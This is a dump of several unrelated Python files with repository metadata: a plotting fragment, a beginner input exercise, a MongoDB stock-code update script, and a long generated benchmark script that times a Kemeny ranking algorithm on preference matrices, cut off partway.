pl.xlim(ymn,ymx) pl.ylim(zmn,zmx) pl.subplot(224) pl.text(0,0.1,info) pl.gca().set_xticks([]) pl.gca().set_yticks([]) pl.axis('off') #pr.prshow("atomProjection.png") pl.show() pl.gca().clear()
[ "adamcadien@gmail.com" ]
adamcadien@gmail.com
8195edf8895623ef20cce4da3bd20701b61e13b8
57235522083cb011ca26aae8fdda96ee71805593
/UdemyPrograms/UserInputExcer/user_input.py
d7e4badfc059ad32cb638abf18d3e9e5c2b7428c
[]
no_license
mrparmer/Python
2fef63ecc936692ec5d99e72ac66bb931f2242c2
5d3b6b447889721481176708d4be87c86e024655
refs/heads/master
2020-03-29T01:23:42.001973
2018-10-07T02:41:51
2018-10-07T02:41:51
149,386,382
0
0
null
null
null
null
UTF-8
Python
false
false
64
py
user_input= input("Enter a number: ") print(int(user_input)**2)
[ "37225891+mrparmer@users.noreply.github.com" ]
37225891+mrparmer@users.noreply.github.com
35ac0b974d2e672a37a882191546ee8fa07e7d3d
0cc138aa5d5316cdc35cb7ba703df30a5a981cdf
/stockcode_update.py
a1ae9af3bbe0108df8095ebcb7627e9f0f73b2ac
[]
no_license
tyronedong/AnalystReportResearch
d47e0f1199b0562fc6534e34b5fcf7c768296b6c
ab3259ba4b169a104574725036f068d93f5e16bb
refs/heads/master
2021-06-14T16:12:30.277223
2017-03-28T12:53:04
2017-03-28T12:53:04
72,734,477
2
0
null
null
null
null
UTF-8
Python
false
false
608
py
# -*- coding: utf-8 -*- from pymongo import * client = MongoClient('localhost', 27017) db = client.AnalystReport collection1 = db.Reports insert_coll = db.Report table_file = open('./data/id_code_table.txt') lines = table_file.readlines() dict = {} for line in lines: if(line == '\n'): continue tokens = line.split('\t') dict[tokens[0]] = tokens[1].replace('\n', '') for report in collection1.find({}): if dict.get(report["_id"]) == None: continue report["StockCode"] = dict[report["_id"]] insert_coll.insert(report) print report["_id"], report["StockCode"]
[ "noreply@github.com" ]
tyronedong.noreply@github.com
4a3ff9a8e88e8868aec89209334ea37fbf3fb0d3
a462a24ff937e151e8151f3a1bdc9c3714b12c0e
/2021EJOR/scripts/meprcw/meprcw_8_2001.py
293656891fc70f001ebe66c6ec8d211cdbdef93c
[]
no_license
noeliarico/kemeny
b4cbcac57203237769252de2c50ce959aa4ca50e
50819f8bf0d19fb29a0b5c6d2ee031e8a811497d
refs/heads/main
2023-03-29T14:36:37.931286
2023-03-16T09:04:12
2023-03-16T09:04:12
330,797,494
0
0
null
null
null
null
UTF-8
Python
false
false
171,087
py
import numpy as np import pandas as pd import time from kemeny import algorithms as alg rep = 1 results = np.zeros(0).reshape(0,7+rep) ############################################################## om = np.array([ [0,1006,965,883,1004,920,1012,963], [995,0,1001,982,1028,960,932,979], [1036,1000,0,924,978,987,1013,966], [1118,1019,1077,0,1004,995,995,1025], [997,973,1023,997,0,961,994,944], [1081,1041,1014,1006,1040,0,1004,969], [989,1069,988,1006,1007,997,0,992], [1038,1022,1035,976,1057,1032,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 1, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1019,1005,971,1046,999,1053], [988,0,988,976,970,1014,973,987], [982,1013,0,1002,1022,1035,978,1024], [996,1025,999,0,1013,1014,964,1020], [1030,1031,979,988,0,1059,1006,1019], [955,987,966,987,942,0,940,1005], [1002,1028,1023,1037,995,1061,0,1043], [948,1014,977,981,982,996,958,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 2, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1053,1044,970,997,1036,1006,1007], [948,0,1007,1031,950,994,970,957], [957,994,0,976,943,971,963,978], [1031,970,1025,0,957,991,939,1016], [1004,1051,1058,1044,0,1023,991,975], [965,1007,1030,1010,978,0,1025,967], [995,1031,1038,1062,1010,976,0,1009], [994,1044,1023,985,1026,1034,992,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 3, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,992,1011,1031,1027,1016,971], [1008,0,1009,1048,1034,1027,1049,998], [1009,992,0,1015,1019,988,990,998], [990,953,986,0,1034,993,1005,967], [970,967,982,967,0,978,952,952], [974,974,1013,1008,1023,0,1025,971], [985,952,1011,996,1049,976,0,1026], [1030,1003,1003,1034,1049,1030,975,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 4, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,983,968,1027,1015,1024,1001], [977,0,970,982,983,960,957,958], [1018,1031,0,1009,1005,1001,1007,987], [1033,1019,992,0,1036,1020,1014,976], [974,1018,996,965,0,977,972,954], [986,1041,1000,981,1024,0,987,962], [977,1044,994,987,1029,1014,0,955], [1000,1043,1014,1025,1047,1039,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 5, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,994,1007,1003,1003,1036,999], [985,0,994,969,1001,982,1016,1018], [1007,1007,0,1000,1012,991,1065,1010], [994,1032,1001,0,1006,979,1059,1012], [998,1000,989,995,0,998,1025,1009], [998,1019,1010,1022,1003,0,1030,1007], [965,985,936,942,976,971,0,988], [1002,983,991,989,992,994,1013,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 6, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1018,1000,971,963,995,956], [1011,0,1008,1011,999,974,966,985], [983,993,0,979,965,959,997,965], [1001,990,1022,0,1005,975,982,956], [1030,1002,1036,996,0,1019,1020,1008], [1038,1027,1042,1026,982,0,1017,993], [1006,1035,1004,1019,981,984,0,955], [1045,1016,1036,1045,993,1008,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 7, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1032,1034,972,1066,1028,987], [1003,0,1017,981,1005,1013,1015,994], [969,984,0,993,993,1053,1050,966], [967,1020,1008,0,999,1095,1009,955], [1029,996,1008,1002,0,1053,1011,1028], [935,988,948,906,948,0,1005,952], [973,986,951,992,990,996,0,980], [1014,1007,1035,1046,973,1049,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 8, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,970,1024,984,1029,989,1021,1029], [1031,0,1025,1004,1016,1004,997,1023], [977,976,0,985,1021,1014,1006,1016], [1017,997,1016,0,1010,1027,1015,992], [972,985,980,991,0,964,988,996], [1012,997,987,974,1037,0,994,1006], [980,1004,995,986,1013,1007,0,985], [972,978,985,1009,1005,995,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 9, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,999,982,941,1023,959,1002], [1008,0,1083,968,976,1044,956,993], [1002,918,0,950,981,1040,962,963], [1019,1033,1051,0,1008,1028,985,997], [1060,1025,1020,993,0,1051,1035,1033], [978,957,961,973,950,0,960,941], [1042,1045,1039,1016,966,1041,0,1010], [999,1008,1038,1004,968,1060,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 10, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,920,960,973,930,1051,973,974], [1081,0,1028,1017,1001,1081,984,1053], [1041,973,0,972,969,1071,967,998], [1028,984,1029,0,973,1069,1015,1021], [1071,1000,1032,1028,0,1100,979,1048], [950,920,930,932,901,0,910,958], [1028,1017,1034,986,1022,1091,0,1039], [1027,948,1003,980,953,1043,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 11, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,1040,986,994,964,1000,968], [997,0,1086,1005,1008,967,1029,1031], [961,915,0,957,977,927,933,933], [1015,996,1044,0,997,948,976,975], [1007,993,1024,1004,0,934,995,955], [1037,1034,1074,1053,1067,0,1004,974], [1001,972,1068,1025,1006,997,0,972], [1033,970,1068,1026,1046,1027,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 12, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,961,987,1008,1043,983,1029], [1033,0,1043,1047,1023,1030,988,1058], [1040,958,0,993,963,1005,912,1031], [1014,954,1008,0,999,1035,956,1089], [993,978,1038,1002,0,1033,1014,1055], [958,971,996,966,968,0,918,1005], [1018,1013,1089,1045,987,1083,0,1104], [972,943,970,912,946,996,897,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 13, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1029,1030,1006,975,1037,983,1026], [972,0,1004,981,947,985,990,994], [971,997,0,981,978,1008,1004,1005], [995,1020,1020,0,960,1013,999,987], [1026,1054,1023,1041,0,1003,1022,986], [964,1016,993,988,998,0,997,1006], [1018,1011,997,1002,979,1004,0,1010], [975,1007,996,1014,1015,995,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 14, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,1053,1062,1025,1019,981,1042], [984,0,1030,1019,995,1001,975,999], [948,971,0,1013,957,966,920,997], [939,982,988,0,984,984,950,1033], [976,1006,1044,1017,0,1001,1003,1037], [982,1000,1035,1017,1000,0,1001,1043], [1020,1026,1081,1051,998,1000,0,1068], [959,1002,1004,968,964,958,933,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 15, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,957,1019,949,1003,975,957,982], [1044,0,998,970,1004,973,982,983], [982,1003,0,936,993,964,954,996], [1052,1031,1065,0,1034,1019,988,1013], [998,997,1008,967,0,974,1001,1017], [1026,1028,1037,982,1027,0,1024,1029], [1044,1019,1047,1013,1000,977,0,1024], [1019,1018,1005,988,984,972,977,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 16, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,1021,993,1003,1004,990,980], [1002,0,1030,1016,1036,1036,1001,985], [980,971,0,998,994,986,991,988], [1008,985,1003,0,983,1016,971,985], [998,965,1007,1018,0,985,982,972], [997,965,1015,985,1016,0,965,973], [1011,1000,1010,1030,1019,1036,0,1001], [1021,1016,1013,1016,1029,1028,1000,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 17, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,989,993,925,918,934,876], [1033,0,1019,987,982,985,1052,941], [1012,982,0,1043,1011,987,1003,1002], [1008,1014,958,0,1042,1055,974,963], [1076,1019,990,959,0,990,1001,981], [1083,1016,1014,946,1011,0,1065,952], [1067,949,998,1027,1000,936,0,945], [1125,1060,999,1038,1020,1049,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 18, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,1003,928,947,985,984,908], [1028,0,1088,1008,1088,1032,1022,980], [998,913,0,933,985,992,949,948], [1073,993,1068,0,1029,1054,1004,1019], [1054,913,1016,972,0,979,957,941], [1016,969,1009,947,1022,0,995,944], [1017,979,1052,997,1044,1006,0,970], [1093,1021,1053,982,1060,1057,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 19, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1034,1009,1017,1012,974,1020], [1010,0,1008,1037,1007,1041,1041,985], [967,993,0,1008,1035,1037,991,967], [992,964,993,0,1038,1006,993,1004], [984,994,966,963,0,966,954,971], [989,960,964,995,1035,0,955,988], [1027,960,1010,1008,1047,1046,0,996], [981,1016,1034,997,1030,1013,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 20, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,996,971,941,1005,1010,979], [978,0,974,982,973,1006,969,1024], [1005,1027,0,1020,956,1058,1055,1018], [1030,1019,981,0,1024,1017,1009,1015], [1060,1028,1045,977,0,1041,1004,1016], [996,995,943,984,960,0,1005,964], [991,1032,946,992,997,996,0,992], [1022,977,983,986,985,1037,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 21, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,1031,1012,981,1039,1060,997], [1005,0,1011,1028,1016,1007,1102,994], [970,990,0,1001,974,1003,1046,953], [989,973,1000,0,964,1019,1053,986], [1020,985,1027,1037,0,1034,1055,1024], [962,994,998,982,967,0,1029,943], [941,899,955,948,946,972,0,920], [1004,1007,1048,1015,977,1058,1081,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 22, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1036,996,1032,1017,1061,1037,1048], [965,0,952,976,981,976,957,914], [1005,1049,0,1029,1057,1011,978,988], [969,1025,972,0,1034,1068,1036,944], [984,1020,944,967,0,1010,1004,887], [940,1025,990,933,991,0,1044,984], [964,1044,1023,965,997,957,0,997], [953,1087,1013,1057,1114,1017,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 23, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,994,1008,996,1050,1039,1018,1031], [1007,0,1014,1017,976,1045,958,1015], [993,987,0,983,982,1007,1015,1020], [1005,984,1018,0,1019,1032,1000,1004], [951,1025,1019,982,0,993,1010,984], [962,956,994,969,1008,0,1001,1045], [983,1043,986,1001,991,1000,0,993], [970,986,981,997,1017,956,1008,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 24, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,991,1040,1039,1013,1028,1006], [1013,0,989,1017,1057,953,1028,1009], [1010,1012,0,1018,1042,968,1004,1011], [961,984,983,0,1008,935,1015,1001], [962,944,959,993,0,959,955,993], [988,1048,1033,1066,1042,0,1043,1045], [973,973,997,986,1046,958,0,989], [995,992,990,1000,1008,956,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 25, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,960,998,996,978,969,991], [1011,0,1011,996,1006,1018,986,986], [1041,990,0,999,1047,1048,1001,1015], [1003,1005,1002,0,1067,1046,992,1018], [1005,995,954,934,0,965,994,966], [1023,983,953,955,1036,0,989,978], [1032,1015,1000,1009,1007,1012,0,1005], [1010,1015,986,983,1035,1023,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 26, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,984,1022,1034,1002,1022,1031], [1008,0,981,1015,1009,956,972,981], [1017,1020,0,1052,1013,977,1015,1035], [979,986,949,0,1032,944,968,1016], [967,992,988,969,0,960,965,998], [999,1045,1024,1057,1041,0,1000,1030], [979,1029,986,1033,1036,1001,0,1017], [970,1020,966,985,1003,971,984,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 27, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,1002,1020,952,1018,1016,1024], [993,0,1055,1031,979,1003,1079,1085], [999,946,0,1031,1021,1010,1038,1016], [981,970,970,0,942,1016,1025,989], [1049,1022,980,1059,0,1065,1091,1077], [983,998,991,985,936,0,1022,1015], [985,922,963,976,910,979,0,975], [977,916,985,1012,924,986,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 28, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1020,1015,1034,1012,1052,1016,1000], [981,0,1028,970,1030,1026,970,940], [986,973,0,917,1009,1006,931,934], [967,1031,1084,0,1036,1012,1011,981], [989,971,992,965,0,998,987,1004], [949,975,995,989,1003,0,993,952], [985,1031,1070,990,1014,1008,0,1000], [1001,1061,1067,1020,997,1049,1001,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 29, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1000,1005,1016,1004,1001,1030], [1010,0,1010,979,1050,1001,987,977], [1001,991,0,966,1003,983,977,983], [996,1022,1035,0,1027,1024,1005,1005], [985,951,998,974,0,981,976,988], [997,1000,1018,977,1020,0,992,1006], [1000,1014,1024,996,1025,1009,0,1008], [971,1024,1018,996,1013,995,993,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 30, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,956,977,1009,974,904,1032,925], [1045,0,953,1023,1006,900,946,963], [1024,1048,0,1045,1075,976,1024,962], [992,978,956,0,1000,954,989,961], [1027,995,926,1001,0,1005,1017,949], [1097,1101,1025,1047,996,0,1011,1019], [969,1055,977,1012,984,990,0,989], [1076,1038,1039,1040,1052,982,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 31, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1038,1047,1057,1021,1020,998,988], [963,0,1021,1014,978,998,984,1014], [954,980,0,983,984,981,987,994], [944,987,1018,0,1015,981,1018,979], [980,1023,1017,986,0,991,1028,1003], [981,1003,1020,1020,1010,0,991,959], [1003,1017,1014,983,973,1010,0,984], [1013,987,1007,1022,998,1042,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 32, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,996,997,991,1036,996,1022], [995,0,983,1011,995,1045,998,1023], [1005,1018,0,995,1004,1063,985,1040], [1004,990,1006,0,998,1040,1012,993], [1010,1006,997,1003,0,1057,993,1019], [965,956,938,961,944,0,959,971], [1005,1003,1016,989,1008,1042,0,1005], [979,978,961,1008,982,1030,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 33, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,923,1051,1063,999,999,1086,1045], [1078,0,1144,1141,981,1004,1126,1112], [950,857,0,1000,884,941,1083,918], [938,860,1001,0,974,975,1136,1004], [1002,1020,1117,1027,0,926,1093,1079], [1002,997,1060,1026,1075,0,1101,1011], [915,875,918,865,908,900,0,946], [956,889,1083,997,922,990,1055,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 34, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1042,1024,997,964,931,932,1027], [959,0,986,959,936,940,925,998], [977,1015,0,982,957,959,967,971], [1004,1042,1019,0,984,953,1006,1035], [1037,1065,1044,1017,0,1004,993,1031], [1070,1061,1042,1048,997,0,1032,1088], [1069,1076,1034,995,1008,969,0,1012], [974,1003,1030,966,970,913,989,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 35, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1058,979,1075,986,961,1017,1048], [943,0,949,967,958,953,971,982], [1022,1052,0,1081,981,1022,974,1029], [926,1034,920,0,945,942,915,929], [1015,1043,1020,1056,0,966,1032,1015], [1040,1048,979,1059,1035,0,1063,970], [984,1030,1027,1086,969,938,0,1009], [953,1019,972,1072,986,1031,992,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 36, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,986,950,949,978,984,1018,977], [1015,0,943,957,1004,971,1014,996], 